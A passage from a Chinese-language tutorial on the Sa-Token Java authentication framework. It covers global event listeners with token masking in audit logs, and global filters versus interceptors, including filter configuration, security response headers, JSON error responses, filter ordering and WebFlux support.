&#123;</span><br><span class="line"><span class="keyword">if</span> (token == <span class="literal">null</span> || token.length() &lt;= <span class="number">8</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;****&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> token.substring(<span class="number">0</span>, <span class="number">8</span>) + <span class="string">&quot;****&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个实现有几个值得注意的设计决策。</p><p><strong>Token 脱敏</strong>是必须的。完整的 Token 相当于用户的身份凭证，如果日志被攻击者获取，就可以直接冒充用户发起请求。<code>mask()</code> 方法只保留前 8 位，足以在日志中定位问题，又不会造成安全风险。</p><p><code>doKickout</code> 和 <code>doReplaced</code> 分开处理，而不是合并到一个方法里。这两种事件对用户的含义截然不同：被踢下线说明有管理员操作，被顶下线说明可能有异地登录。前者可以推送客服通知，后者更适合触发安全告警——分开处理才能做出有意义的差异化响应。</p><hr><h2 id="1-6-重要坑点：try-catch-是必须的">1.6. 重要坑点：try-catch 是必须的</h2><p>侦听器的回调方法在 Sa-Token 的主流程中被<strong>同步调用</strong>——登录动作完成后，框架立即调用所有侦听器的 <code>doLogin</code> 方法，等所有侦听器都执行完才返回结果给调用方。</p><p>这意味着：<strong>如果你的侦听器代码抛出了未捕获的异常，整个登录流程就会被强制中断</strong>，用户会看到一个 500 错误，而不是成功登录。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ❌ 危险写法：如果数据库操作失败，登录接口直接报 500</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doLogin</span><span class="params">(String loginType, Object loginId, String tokenValue,</span></span><br><span class="line"><span class="params">                    SaLoginParameter loginParameter)</span> &#123;</span><br><span class="line">    loginLogRepository.save(<span class="keyword">new</span> <span class="title class_">LoginLog</span>(loginId, tokenValue));  <span class="comment">// 如果数据库挂了怎么办？</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 安全写法：侦听器内的不安全代码必须用 try-catch 保护</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doLogin</span><span class="params">(String loginType, Object loginId, String tokenValue,</span></span><br><span class="line"><span class="params">                    SaLoginParameter loginParameter)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        loginLogRepository.save(<span class="keyword">new</span> <span class="title class_">LoginLog</span>(loginId, tokenValue));</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="comment">// 记录失败不应影响用户登录，降级处理：打印错误日志后继续</span></span><br><span class="line">        log.error(<span class="string">&quot;[审计日志] 写入登录日志失败，loginId=&#123;&#125;&quot;</span>, loginId, e);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><div class="note warning simple"><p>侦听器中任何可能失败的操作——数据库写入、HTTP 请求、消息推送——都必须用 try-catch 包裹。侦听器的职责是&quot;观察和记录&quot;，不应该反过来影响主流程的成败。</p></div><hr><h2 id="1-7-本章总结">1.7. 本章总结</h2><p><strong>本章回顾</strong></p><p>本章完整讲解了 Sa-Token 的全局侦听器机制。从工作原理出发，理解了事件发布中心 <code>SaTokenEventCenter</code> 的广播模型，以及内置 <code>SaTokenListenerForLog</code> 的快速开启方式。在事件方法层面，逐一解释了全部 12 个回调方法的触发时机和每个参数的具体含义，补全了官方文档只有签名没有说明的空白。在实现方式上，比较了直接实现接口、继承 <code>SaTokenListenerForSimple</code>（推荐）、匿名内部类三种方式的适用场景。通过登录审计日志记录器的实战示例，将侦听器能力落地到真实业务中，演示了 Token 脱敏、差异化下线响应、异地登录告警等实践要点。最后着重说明了 try-catch 的必要性——侦听器异常会中断 Sa-Token 主流程，这是使用中最容易忽略的坑。</p><p><strong>核心汇总表</strong></p><table><thead><tr><th>事件方法</th><th>触发时机</th><th>关键参数</th></tr></thead><tbody><tr><td><code>doLogin</code></td><td>用户登录时</td><td><code>loginParameter</code>（含设备类型、有效期等登录细节）</td></tr><tr><td><code>doLogout</code></td><td>用户主动注销时</td><td><code>loginId</code> / <code>tokenValue</code></td></tr><tr><td><code>doKickout</code></td><td>被管理员踢下线时</td><td><code>loginId</code> / <code>tokenValue</code></td></tr><tr><td><code>doReplaced</code></td><td>被新设备登录顶下线时</td><td><code>loginId</code> / <code>tokenValue</code></td></tr><tr><td><code>doDisable</code></td><td>账号被封禁时</td><td><code>service</code>（业务标识）/ <code>level</code>（封禁等级）/ <code>disableTime</code>（时长）</td></tr><tr><td><code>doUntieDisable</code></td><td>账号被解封时</td><td><code>service</code></td></tr><tr><td><code>doOpenSafe</code></td><td>开启二级认证时</td><td><code>service</code>（业务标识）/ <code>safeTime</code>（有效期）</td></tr><tr><td><code>doCloseSafe</code></td><td>关闭二级认证时</td><td><code>service</code></td></tr><tr><td><code>doCreateSession</code></td><td>Session 创建时</td><td><code>id</code>（Session 唯一标识）</td></tr><tr><td><code>doLogoutSession</code></td><td>Session 注销时</td><td><code>id</code></td></tr><tr><td><code>doRenewTimeout</code></td><td>Token 续期时</td><td><code>tokenValue</code> / <code>timeout</code>（续期后有效期）</td></tr></tbody></table><table><thead><tr><th>实现方式</th><th>适用场景</th><th>优缺点</th></tr></thead><tbody><tr><td>实现 <code>SaTokenListener</code> 接口</td><td>需要处理所有事件</td><td>必须实现全部方法，代码量大</td></tr><tr><td>继承 <code>SaTokenListenerForSimple</code></td><td>只关心部分事件（推荐）</td><td>只重写需要的方法，简洁</td></tr><tr><td>匿名内部类</td><td>轻量场景 / 测试代码</td><td>简单快速，但不适合生产</td></tr></tbody></table><table><thead><tr><th>注册方式</th><th>适用场景</th></tr></thead><tbody><tr><td><code>@Component</code> 自动注册</td><td>SpringBoot 项目（推荐）</td></tr><tr><td><code>SaTokenEventCenter.registerListener()</code> 手动注册</td><td>非 IoC 环境 / 运行时动态注册</td></tr></tbody></table><table><thead><tr><th>安全规则</th><th>说明</th></tr></thead><tbody><tr><td>try-catch 包裹不安全代码</td><td>侦听器异常会中断主流程，数据库写入、HTTP 请求等必须保护</td></tr><tr><td>Token 脱敏后再记录日志</td><td>完整 Token 相当于身份凭证，不应出现在日志文件中</td></tr><tr><td><code>doKickout</code> 与 <code>doReplaced</code> 分开处理</td><td>两种下线原因对应不同的业务响应（客服通知 vs 安全告警）</td></tr></tbody></table><h1>第二章. 全局过滤器——更底层的请求拦截</h1><p><strong>阶段式学习路径</strong></p><p>第三篇笔记中，我们用 <code>SaInterceptor</code> 拦截器实现了路由鉴权。拦截器已经能满足绝大多数场景，但它并非唯一的选择。Sa-Token 同时提供了全局过滤器，作为拦截器的替代或补充方案。</p><p>两者不是为了互相取代而存在的——它们工作在请求处理链的不同层次，各自有擅长的场景。本章先把选型问题讲清楚，再完整介绍过滤器的注册和配置，以及几个容易踩坑的细节。</p><hr><h2 id="2-1-过滤器-vs-拦截器：完整选型指南">2.1. 过滤器 vs 拦截器：完整选型指南</h2><p>理解两者的区别，首先要理解它们在 Spring 请求处理链中的位置：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">HTTP 请求</span><br><span class="line">    ↓</span><br><span class="line">Filter（过滤器）← SaServletFilter 在这里</span><br><span class="line">    ↓</span><br><span class="line">DispatcherServlet</span><br><span class="line">    ↓</span><br><span class="line">Interceptor（拦截器）← SaInterceptor 在这里</span><br><span class="line">    ↓</span><br><span class="line">Controller 方法</span><br></pre></td></tr></table></figure><p>过滤器更靠前，在 Spring 的 <code>DispatcherServlet</code> 之前就介入了请求；拦截器在 <code>DispatcherServlet</code> 之后才介入，此时 Spring 已经完成了请求的路由解析。</p><p>这个位置差异决定了两者的能力边界：</p><table><thead><tr><th>维度</th><th>拦截器（SaInterceptor）</th><th>过滤器（SaServletFilter）</th></tr></thead><tbody><tr><td>执行时机</td><td>DispatcherServlet 之后</td><td>DispatcherServlet 之前</td></tr><tr><td>异常处理</td><td>进入 <code>@ExceptionHandler</code> 全局处理</td><td>不进入，必须在 <code>setError</code> 中手动处理</td></tr><tr><td>静态资源拦截</td><td>不拦截（Spring 静态资源直接响应）</td><td>可以拦截</td></tr><tr><td>获取 <code>HandlerMethod</code></td><td>可以（知道请求将进入哪个方法）</td><td>不可以</td></tr><tr><td>注解鉴权支持</td><td>✅ 内置，<code>@SaCheckLogin</code> 等注解生效</td><td>❌ 不支持</td></tr><tr><td>WebFlux 支持</td><td>❌ 无</td><td>✅ <code>SaReactorFilter</code></td></tr><tr><td>防渗透扫描能力</td><td>一般</td><td>更强（执行更早，攻击流量更早被拦截）</td></tr></tbody></table><p><strong>选型建议：</strong></p><p>绝大多数 SpringBoot + SpringMVC 项目，<strong>优先使用拦截器</strong>。原因很简单：异常会自动进入全局处理器，不需要额外编写错误响应逻辑；支持注解鉴权；对日常的登录校验和权限控制完全够用。</p><p>以下情况考虑使用过滤器：</p><ul><li>项目使用 <strong>Spring WebFlux</strong>（没有拦截器机制，过滤器是唯一选择）</li><li>需要<strong>拦截静态资源</strong>的访问（如图片、PDF 需要权限才能下载）</li><li>需要在请求处理链<strong>最早期</strong>介入，例如统一设置安全响应头</li></ul><div class="note info simple"><p>Sa-Token 同时提供两种机制，不是让谁取代谁，而是让你根据实际业务合理选择。两者也可以同时注册，互不冲突。</p></div><hr><h2 id="2-2-注册-SaServletFilter">2.2. 注册 SaServletFilter</h2><p>过滤器默认处于关闭状态，需要手动注册为 Spring Bean。与拦截器注册在 <code>WebMvcConfigurer</code> 中不同，过滤器以 <code>@Bean</code> 方式注册：</p><p>📄 <code>src/main/java/com/example/authsatoken/config/SaTokenFilterConfig.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.config;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.filter.SaServletFilter;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.router.SaRouter;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.stp.StpUtil;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.util.SaResult;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Bean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Sa-Token 全局过滤器配置</span></span><br><span class="line"><span class="comment"> * 演示过滤器的四个核心配置方法，以及常见坑点的正确处理方式</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 注意：本项目已在 SaTokenConfig 中注册了拦截器，</span></span><br><span class="line"><span class="comment"> * 此配置仅用于演示过滤器写法，实际项目中二选一即可，避免重复拦截</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SaTokenFilterConfig</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> SaServletFilter <span class="title function_">getSaServletFilter</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">SaServletFilter</span>()</span><br><span class="line"></span><br><span class="line">                <span class="comment">// ① 指定拦截路由与放行路由</span></span><br><span class="line">                <span class="comment">// addInclude：指定过滤器拦截哪些路径</span></span><br><span class="line">                <span class="comment">// addExclude：直接放行哪些路径（在过滤器层面排除，不会进入 setAuth）</span></span><br><span class="line">                <span class="comment">// /favicon.ico 是浏览器自动请求的图标，不排除会产生大量无意义的校验日志</span></span><br><span class="line">                .addInclude(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">                .addExclude(<span class="string">&quot;/favicon.ico&quot;</span>)</span><br><span class="line"></span><br><span class="line">                <span class="comment">// ② setBeforeAuth：前置函数，在认证函数之前执行</span></span><br><span class="line">                <span class="comment">// ⚠️ 坑点：BeforeAuth 不受 addInclude / addExclude 的限制</span></span><br><span class="line">                <span class="comment">// 所有进入过滤器的请求（包括被 addExclude 排除的路径）都会执行 BeforeAuth</span></span><br><span class="line">                <span class="comment">// 因此不要在 BeforeAuth 里做鉴权逻辑，它的正确用途是设置响应头等无副作用的预处理</span></span><br><span class="line">                .setBeforeAuth(req -&gt; &#123;</span><br><span class="line">                    <span class="comment">// 设置安全响应头（详见 2.3 节）</span></span><br><span class="line">                    <span class="comment">// 这里的代码对所有请求生效，包括静态资源和被排除的路径</span></span><br><span class="line">                &#125;)</span><br><span class="line"></span><br><span class="line">                <span class="comment">// ③ setAuth：认证函数，每次请求执行（受 addInclude / addExclude 约束）</span></span><br><span class="line">                <span class="comment">// 写法与拦截器中的 SaRouter 完全一致</span></span><br><span class="line">                .setAuth(obj -&gt; &#123;</span><br><span class="line">                    SaRouter.match(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">                            .notMatch(<span class="string">&quot;/auth/login&quot;</span>)</span><br><span class="line">                            .check(r -&gt; StpUtil.checkLogin());</span><br><span class="line">                &#125;)</span><br><span class="line"></span><br><span class="line">                <span class="comment">// ④ setError：异常处理函数，认证函数抛出异常时执行</span></span><br><span class="line">                <span class="comment">// ⚠️ 坑点一：过滤器中的异常不进入 @ExceptionHandler，必须在这里处理</span></span><br><span class="line">                <span class="comment">// ⚠️ 坑点二：setError 的返回值直接作为字符串输出到前端</span></span><br><span class="line">                <span class="comment">//           如果不设置响应头，Content-Type 默认是 text/plain，</span></span><br><span class="line">                <span class="comment">//           前端收到的是纯文本而不是 JSON，无法正常解析</span></span><br><span class="line">                .setError(e -&gt; &#123;</span><br><span class="line">                    <span class="comment">// 必须手动设置 Content-Type，否则前端无法将返回值解析为 JSON</span></span><br><span class="line">                    <span class="comment">// SaHolder.getResponse().setHeader(&quot;Content-Type&quot;, &quot;application/json;charset=UTF-8&quot;);</span></span><br><span class="line">                    <span class="keyword">return</span> SaResult.error(e.getMessage()).toString();</span><br><span class="line">                &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>四个配置方法构成了过滤器的完整生命周期，理解它们的执行顺序和约束范围是正确使用过滤器的关键。</p><hr><h2 id="2-3-setBeforeAuth-的正确用途：设置安全响应头">2.3. setBeforeAuth 的正确用途：设置安全响应头</h2><p><code>setBeforeAuth</code> 不受 <code>addInclude / addExclude</code> 的限制，对所有进入过滤器的请求都会执行。这个特性看起来像个坑，但其实暗示了它的正确用途：<strong>做对所有请求都需要生效的无副作用预处理</strong>，最典型的就是设置安全响应头。</p><p>安全响应头是一组 HTTP 响应头，告诉浏览器如何更安全地处理响应内容，防御 XSS、点击劫持等常见攻击。将它放在 <code>setBeforeAuth</code> 中，可以保证每一个响应（包括静态资源、错误页面）都携带这些头信息：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">.setBeforeAuth(req -&gt; &#123;</span><br><span class="line">    SaHolder.getResponse()</span><br><span class="line">        <span class="comment">// 禁止页面在 iframe 中显示，防止点击劫持攻击</span></span><br><span class="line">        <span class="comment">// DENY=完全禁止 | SAMEORIGIN=只允许同域 | ALLOW-FROM uri=指定域名</span></span><br><span class="line">        .setHeader(<span class="string">&quot;X-Frame-Options&quot;</span>, <span class="string">&quot;SAMEORIGIN&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 启用浏览器内置的 XSS 过滤器</span></span><br><span class="line">        <span class="comment">// 1; mode=block 表示检测到 XSS 攻击时停止渲染整个页面</span></span><br><span class="line">        .setHeader(<span class="string">&quot;X-XSS-Protection&quot;</span>, <span class="string">&quot;1; mode=block&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 禁止浏览器对响应内容进行类型嗅探</span></span><br><span class="line">        <span class="comment">// 防止浏览器将非 JS 文件当作 JS 执行</span></span><br><span class="line">        .setHeader(<span class="string">&quot;X-Content-Type-Options&quot;</span>, <span class="string">&quot;nosniff&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 服务器标识，隐藏真实服务器信息（安全加固）</span></span><br><span class="line">        .setServer(<span class="string">&quot;sa-server&quot;</span>);</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><hr><h2 id="2-4-setError-的正确写法">2.4. setError 的正确写法</h2><p><code>setError</code> 是过滤器与拦截器相比最容易踩坑的地方。拦截器中，<code>SaInterceptor</code> 抛出的异常会自动进入 <code>@ExceptionHandler</code> 全局处理，我们在番外篇二第四章写的 <code>GlobalExceptionHandler</code> 会帮我们把异常转换成规范的 JSON 响应。</p><p>但过滤器中的异常<strong>不走这套机制</strong>。<code>setAuth</code> 里抛出的任何异常都会被 <code>setError</code> 捕获，<code>setError</code> 的返回值（一个字符串）直接写入 HTTP 响应体，响应就结束了。</p><p>这带来两个问题：</p><p><strong>问题一：Content-Type 默认是 text/plain</strong></p><p>如果不手动设置响应头，前端收到的是纯文本字符串，而不是 <code>application/json</code>，导致前端的 JSON 解析失败。</p><p><strong>问题二：SaResult.toString() 不是合法 JSON</strong></p><p><code>SaResult</code> 对象的 <code>toString()</code> 方法返回的是 Java 对象的字符串表示（如 <code>SaResult&#123;code=500, ...&#125;</code>），不是 JSON 格式。需要用 JSON 序列化工具将其转换。</p><p>正确写法：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">.setError(e -&gt; &#123;</span><br><span class="line">    <span class="comment">// 第一步：手动设置响应头，告诉前端这是 JSON 格式</span></span><br><span class="line">    SaHolder.getResponse().setHeader(<span class="string">&quot;Content-Type&quot;</span>, <span class="string">&quot;application/json;charset=UTF-8&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 第二步：将错误信息序列化为 JSON 字符串</span></span><br><span class="line">    <span class="comment">// 方案 A：使用 Jackson（项目已引入 Spring Boot 时 Jackson 默认可用）</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">SaResult</span> <span class="variable">result</span> <span class="operator">=</span> SaResult.error(e.getMessage()).setCode(<span class="number">401</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ObjectMapper</span>().writeValueAsString(result);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception ex) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&#123;\&quot;code\&quot;:500,\&quot;msg\&quot;:\&quot;系统错误\&quot;,\&quot;data\&quot;:null&#125;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方案 B：使用 Hutool（需要引入 hutool-json 依赖）</span></span><br><span class="line">    <span class="comment">// return JSONUtil.toJsonStr(SaResult.error(e.getMessage()).setCode(401));</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方案 C：直接硬编码 JSON 字符串（简单但不灵活）</span></span><br><span class="line">    <span class="comment">// return &quot;&#123;\&quot;code\&quot;:401,\&quot;msg\&quot;:\&quot;&quot; + e.getMessage() + &quot;\&quot;,\&quot;data\&quot;:null&#125;&quot;;</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>三种方案的选择建议：项目已使用 Spring Boot 时优先选方案 A（Jackson 已经在依赖中），项目已引入 Hutool 则选方案 B，其余情况用方案 C 兜底。</p><hr><h2 id="2-5-自定义过滤器执行顺序">2.5. 自定义过滤器执行顺序</h2><p><code>SaServletFilter</code> 默认注册顺序为 <code>-100</code>（在 Spring Boot 中 Order 值越小执行越早）。如果项目中存在多个过滤器，或者需要 Sa-Token 过滤器在某个自定义过滤器之前 / 之后执行，可以通过 <code>FilterRegistrationBean</code> 包装来指定顺序：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> FilterRegistrationBean&lt;SaServletFilter&gt; <span class="title function_">getSaServletFilter</span><span class="params">()</span> &#123;</span><br><span class="line">    FilterRegistrationBean&lt;SaServletFilter&gt; frBean = <span class="keyword">new</span> <span class="title class_">FilterRegistrationBean</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    frBean.setFilter(</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">SaServletFilter</span>()</span><br><span class="line">            .addInclude(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">            .addExclude(<span class="string">&quot;/favicon.ico&quot;</span>)</span><br><span class="line">            .setAuth(obj -&gt; &#123;</span><br><span class="line">                SaRouter.match(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">                        .notMatch(<span class="string">&quot;/auth/login&quot;</span>)</span><br><span class="line">                        .check(r -&gt; StpUtil.checkLogin());</span><br><span class="line">            &#125;)</span><br><span class="line">            .setError(e -&gt; &#123;</span><br><span class="line">                SaHolder.getResponse().setHeader(<span class="string">&quot;Content-Type&quot;</span>, <span class="string">&quot;application/json;charset=UTF-8&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> SaResult.error(e.getMessage()).setCode(<span class="number">401</span>).toString();</span><br><span class="line">            &#125;)</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 默认值是 -100，数值越小越先执行</span></span><br><span class="line">    <span class="comment">// 设为 -101 表示在默认 Sa-Token 过滤器之前执行，设为 -99 表示之后执行</span></span><br><span class="line">    frBean.setOrder(-<span class="number">101</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> frBean;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="2-6-WebFlux-中注册过滤器">2.6. WebFlux 中注册过滤器</h2><p>Spring WebFlux 不提供拦截器机制，因此如果你的项目基于 WebFlux（响应式编程模型），过滤器是实现路由鉴权的唯一选择。</p><p>Sa-Token 为 WebFlux 提供了 <code>SaReactorFilter</code>，写法与 <code>SaServletFilter</code> 几乎完全一致，只需替换类名：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Spring WebFlux 项目中注册 Sa-Token 过滤器</span></span><br><span class="line"><span class="comment"> * 除类名从 SaServletFilter 换为 SaReactorFilter 外，其余写法完全相同</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> SaReactorFilter <span class="title function_">getSaReactorFilter</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">SaReactorFilter</span>()</span><br><span class="line">            .addInclude(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">            .addExclude(<span class="string">&quot;/favicon.ico&quot;</span>)</span><br><span class="line">            .setBeforeAuth(req -&gt; &#123;</span><br><span class="line">                <span class="comment">// WebFlux 中同样可以设置安全响应头</span></span><br><span class="line">            &#125;)</span><br><span class="line">            .setAuth(obj -&gt; &#123;</span><br><span class="line">                SaRouter.match(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">                        .notMatch(<span class="string">&quot;/auth/login&quot;</span>)</span><br><span class="line">                        .check(r -&gt; StpUtil.checkLogin());</span><br><span class="line">            &#125;)</span><br><span class="line">            .setError(e -&gt; SaResult.error(e.getMessage()));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><div class="note info simple"><p>WebFlux 项目中引入的是 <code>sa-token-reactor-spring-boot3-starter</code> 依赖，而不是 <code>sa-token-spring-boot3-starter</code>，两个包提供的 API 基本相同，核心区别在于底层响应模型（阻塞 vs 响应式）。</p></div><hr><h2 id="2-7-本章总结">2.7. 本章总结</h2><p><strong>本章回顾</strong></p><p>本章系统讲解了 Sa-Token 全局过滤器的完整用法，并给出了明确的选型建议。选型层面，通过执行时机、异常处理、WebFlux 支持等六个维度的对比，得出&quot;SpringMVC 项目优先用拦截器，WebFlux 项目或需要拦截静态资源时才用过滤器&quot;的结论。在配置层面，详细讲解了 <code>addInclude / addExclude / setBeforeAuth / setAuth / setError</code> 五个配置方法的用途和约束范围，并重点说明了两个高频坑点：<code>setBeforeAuth</code> 不受 exclude 限制因此不适合放鉴权逻辑，<code>setError</code> 必须手动设置 <code>Content-Type</code> 响应头并使用 JSON 序列化工具才能返回正确格式。最后介绍了通过 <code>FilterRegistrationBean</code> 自定义执行顺序，以及 WebFlux 环境下只需将类名换为 <code>SaReactorFilter</code> 的迁移写法。</p><p><strong>核心汇总表</strong></p><table><thead><tr><th>选型维度</th><th>拦截器（推荐）</th><th>过滤器</th></tr></thead><tbody><tr><td>适用框架</td><td>Spring MVC</td><td>Spring MVC / WebFlux</td></tr><tr><td>异常处理</td><td>自动进入 <code>@ExceptionHandler</code></td><td>必须在 <code>setError</code> 中手动处理</td></tr><tr><td>注解鉴权</td><td>支持</td><td>不支持</td></tr><tr><td>静态资源拦截</td><td>不拦截</td><td>可拦截</td></tr><tr><td>推荐场景</td><td>绝大多数 Spring Boot 项目</td><td>WebFlux / 静态资源鉴权 / 最早期安全策略</td></tr></tbody></table><table><thead><tr><th>配置方法</th><th>作用</th><th>关键约束</th></tr></thead><tbody><tr><td><code>addInclude(path)</code></td><td>指定过滤器拦截的路径</td><td>支持 <code>**</code> 通配符</td></tr><tr><td><code>addExclude(path)</code></td><td>直接放行的路径</td><td>不进入 <code>setAuth</code>，但<strong>仍会</strong>进入 <code>setBeforeAuth</code></td></tr><tr><td><code>setBeforeAuth(lambda)</code></td><td>前置函数，认证前执行</td><td>不受 include/exclude 限制，适合设置安全响应头</td></tr><tr><td><code>setAuth(lambda)</code></td><td>认证函数，受 include/exclude 约束</td><td>写法与拦截器中 <code>SaRouter</code> 